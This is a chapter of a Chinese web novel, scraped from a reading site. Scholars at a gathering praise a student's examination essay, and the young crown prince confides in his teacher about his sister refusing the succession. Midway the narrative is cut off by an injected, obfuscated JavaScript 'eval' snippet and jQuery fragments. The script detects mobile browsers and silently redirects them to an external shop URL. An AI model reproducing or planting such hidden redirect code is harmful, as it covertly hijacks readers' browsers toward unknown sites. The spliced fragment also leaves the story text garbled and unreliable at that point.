文趣网 > 都市小说 > 青衫问卿卿 > 15. 水深则流缓
    蔺先生拿起第一张,只念了破题那句:“民既足矣,君何忧乎不足?”

    这个破题太直,太浅,是把经义又誊了一遍,众人都没什么兴趣。

    蔺先生没做点评,又拿起一张:“富不在府库,在田野之间。”

    谢清辞在楼上微微颔首,这个立意高了,把“足”从钱粮升到了根本。但后面能不能撑起来,还要看八股怎么作。

    蔺先生这次有了些兴味:“这个有点意思,‘君以民为体,民以足为心。’”

    “先生,这个譬喻好,”周翊诚在一旁小声说,“体与心,分不开的。”

    谢清辞没说话,忍不住用扇骨敲了一下自己这个蠢弟子的头。

    焦先生又翻了几张,念了几个中规中矩的,底下人听得有些乏了,开始交头接耳。

    下一篇文章,蔺先生只看了两眼,却清了清嗓子,众人安静了下来,皆有些好奇。

    “不损下以益上,而上下自足。”

    “好!”有举子忍不住击节赞叹,有人开始交头接耳问是谁作的,有人伸着脖子往那边看。

    就连谢清辞也忍不住频频点头:“不损下以益上”不讲百姓不讲财税,而是讲一个“不损”。为政者不动那个“损下益上”的念头,上下自然都足。”

    这个破题,比方才那几位都要老辣。

    蔺先生拿着那张纸,又念了一遍:“不损下以益上,而上下自足。”

    她抬起头,朝二楼的方向看了一眼,把那张纸单独放在一边:“这个写得好,我得留着。”

    敞厅里响起几声低低的议论。蔺先生阅文无数,能让她说“写得好”的,一年也未必有几篇。能让她“留着”的,更是少之又少。

    众人纷纷扭头,四处张望,想知道这篇文字的主人是谁,有人凑热闹笑着喊不公平,有人说该传阅。

    沈知微坐在下方,被这突如其来的夸赞弄得有些局促。

    “是该传阅!”一个声音从角落里响起来,“让我们看看这篇是怎么破的!”

    “对对对,传阅传阅......”

    蔺先生也不阻止,将沈知微的文章递给身旁的侍者,示意他拿去给众人看。

    侍者捧着文章穿过人群,所到之处,一颗颗脑袋凑过来,有人啧啧称赞,有人若有所思,也有人酸溜溜地说一句“后生可畏”,但到底还是认认真真看完了。

    “不知沈知微是哪位小友?”蔺先生笑着问道。

    沈知微还没来得及反应,身旁的好友方元启,已经伸手推了他一把:“见山,叫你呢!”

    旁边几个人也跟着起哄,笑着把他往外推。沈知微整了整衣冠,不紧不慢地走出人群,在蔺先生面前站定:“晚生沈知微,见过蔺先生。”

    蔺先生上下打量了他一番,面前的年轻人眉目清朗,身量高挑。穿着一件襕衫,人也落落大方,进退有度,倒是让人看着就舒坦。

    “沈知微。”蔺先生把这名字念了一遍,点了点头,“真定府的?去岁乡试第几名?”

    “回先生,晚生忝列第三。”

    “你这篇文章文颇有谢学士之风。”蔺先生忍不住解释道,“谢学士当年在太学讲《孟子》,我也曾听过几回。这句正是她讲过的意思。”

    有人小声问:“谢.....是谢老学士,还是小谢学士?”

    这话一出,旁边便有人接话:“谢老学士今年告老了,自然是小谢学士,熙宁五年的探花郎,如今的吏部文选司谢郎中。”

    “对,就是她。当年十八岁的探花,太学讲《孟子》,旁听的比监生还多。我也去听过几回。”另一位上了年纪的举子接口道。

    敞厅里响起几声低低的赞叹。十八岁的探花,放眼前几朝也没有几个。谢清辞的名头,在场没有人不知道的。

    蔺先生点了点头,目光落在沈知微身上,带着几分审视:“谢学士曾言,‘民不足而君欲足,是损下益上。民足而君不足,是不敢损下。不敢损下,则上下皆足。’”

    “今日这篇文字,与那卷讲章,意思仿佛。小友读过她整理的讲义?”

    沈知微迎着顾先生的目光,没有犹豫,坦然拱手道:“晚生曾细读过谢学士的讲章,受益匪浅。”

    他说得坦荡,目光澄澈,没有半分遮掩。蔺先生看在眼里,却多了几分不同的意味。

    敞厅里有人低声议论起来:“谢学士的讲章,市面上可不好找。”“能读到,也是缘分。”

    沈知微身边坐着的正是引荐他来芜湖会馆借住的好友方元启。

    方元启见他被众人盯着,笑着站起来打圆场:“蔺先生,您有所不知,见山有幸蒙谢学士看重,现下就在学士府上读书呢。”

    此言一出,众人都沸腾了起来,有些人的心思都活络了。

    “在谢学士府上读书?”

    “这可是旁人求都求不来的缘分!”

    “难怪文章写得这样好,原来是名师指点!”

    沈知微被众人说得耳朵都红了几分,忙摆手道:“晚生只是侥幸,蒙学士收留,不敢称指点二字。”

    蔺先生看着他的窘态,也摇头笑了起来,没有再追问。

    方元启笑着拍了拍沈知微的肩膀,低声道:“你脸红什么?这是好事。”又转头对众人道,“诸位,见山脸皮薄,你们别逗他了。想看文章便看,想切磋便切磋,再这么围着他,他该夺门而逃了。”

    敞厅里又是一阵善意的笑声,人群渐渐散开了些。沈知微朝方元启投去一个感激的眼神,方元启冲他挤了挤眼睛,端起酒杯走了,那背影晃悠悠的,像只得意的大鹅。

    楼上雅间里,谢清辞端着茶盏,透过窗户看着这一幕,也忍不住笑了起来。她笑起来时眉眼微弯,那股子冷厉的劲儿也散了,整个人透出一丝暖意。

    “先生,师弟果然厉害,没丢先生的脸!”周翊诚趴在窗边,回头冲她咧嘴笑,那得意劲儿,活像楼下出风头的是他自己。

    周翊诚又趴回去看了一会儿,见沈知微已经被众人拉着坐下切磋文章,这才退了回来,在谢清辞对面坐下。

    他提起茶壶给谢清辞续了茶,又拿起小银刀切果子,动可脸上的笑意却一点一点淡了下去。

    谢清辞注意到了:“怎么了?”

    周翊诚没吭声,放下小银刀,垂着眼看自己的手指,沉默了好一会儿。

    “先生,”他声音低低的,难掩失落,“自从我被册为太子,父皇对我的要求,越来越严格了。”

    “从前读书,背不出来顶多被说两句,现在不行了。”

    他抬起眼,看着谢清辞,那双一向明亮飞扬的眼睛里,多了些说不清道不明的倦意。

    “经义要通,史鉴要明,连批阅奏章都要学。每日卯时起,亥时才歇,中间连喘口气的工夫都没有。”

    谢清辞放下茶盏,没有说话。

    面前的小少年,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548980|204270||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    搁在寻常人家,正是爬树捉鸟满街疯跑的年纪。可他是储君,是从被册封那天起就不再属于自己的人。

    她张了张嘴,想说几句宽慰的话,可话到嘴边又觉得什么都说不出口。朝堂上的道理,东宫的讲官们已经说得够多了,不缺她这一句。

    她抬起手,轻轻摸了摸周翊诚的头发。动作很轻,像是在安抚一只耷拉着耳朵的小狗。

    周翊诚低着头,那个一向阳光跳脱的小少年,眉眼低垂,声音闷闷的:“先生,我一直以为,会是阿姊被册立为太子呢。”

    “可是阿姊说,她不愿。她不愿当这个太子。”

    谢清辞收回手,她斟酌着开口:“公主殿下她……她有自己的打算。”

    周翊诚又拿起手里的银刀,一下一下地切着橙子,像是在借着这个动作攒说话的力气。

    “阿姊说,她还未成婚。太子是必然要有子嗣的,我们周家人丁又单薄,她连过继都没有合适的人选。”

    “女子生育是一道鬼门关。”周翊诚重复着长姊的话,语气里带着迷茫。

    “她不愿意一个接一个地诞育子嗣,更不愿意娶一堆夫妾。”

    窗外的笑声隐隐约约地飘上来,隔着一层楼板,像是另一个世界的事。

    周翊诚放下小银刀,垂着眼,盯着碟子里切好的橙块,声音更低了:“她说,那自己和做皮肉生意的有什么区别。”

    谢清辞心里一沉,这话太过直白,直白到刺耳。

    可她知道,那位公主说的不是气话,一个女子要被当作储君培养,要承担江山社稷,要诞育继承人,这些都是避免不了的事情。

    周翊诚抬起眼,眼眶微微泛红。他和长姊一母同胞,从小一起长大,感情极好。在册封之前,他一直以为继位的会是阿姊。

    阿姊比他年长,比他聪慧,比他能担事,他从未想过那个位子会落到自己头上。

    她不知道该怎么安慰这个少年。那些冠冕堂皇的话,“天命所归”“储君之重”“社稷之幸”都是真的,可在此刻,在这个为长姊难过的小少年面前,这些话太冷了。

    她伸手,轻轻拍了拍他的肩膀:“以后就好了。”

    周翊诚眼角噙着隐约的泪水,看着谢清辞的眼睛。

    “待皇家人丁兴旺一些,女子若为帝,也可直接过继。”谢清辞语气平稳,一字一句都经过思量,“如今国朝不过二世,制度初创,百事待举。总会有许多问题,需要一点一点去解决。”

    她只告诉了小太子了一个事实,制度不是一成不变的,现在做不到的事,将来未必做不到。

    周翊诚听懂了,他沉默了好一会,用袖子胡乱擦了一下眼角,抬起头来,冲谢清辞笑了笑。那笑容有些勉强,却已经有了几分往日的飞扬劲儿。

    “先生说得对,以后就好了。”他吸了吸鼻子,声音还带着一点鼻音,“这都是我以后该去解决的事情。”

    谢清辞看着他,没有再说什么,只是把那碟切好的橙块推回到他面前。

    “吃吧。切了这么多,自己还没尝一口。”

    周翊诚看着那碟被自己切得大小均匀的橙块,笑得眼睛弯弯的,拈起一块塞进嘴里。

    谢清辞端起茶盏,抿了一口,看向窗外。敞厅里,沈知微正被几个人围着说话,方元启站在一旁,端着酒杯,笑呵呵地看着热闹。

    国朝二世,百事待举。

    有些事,确实急不得。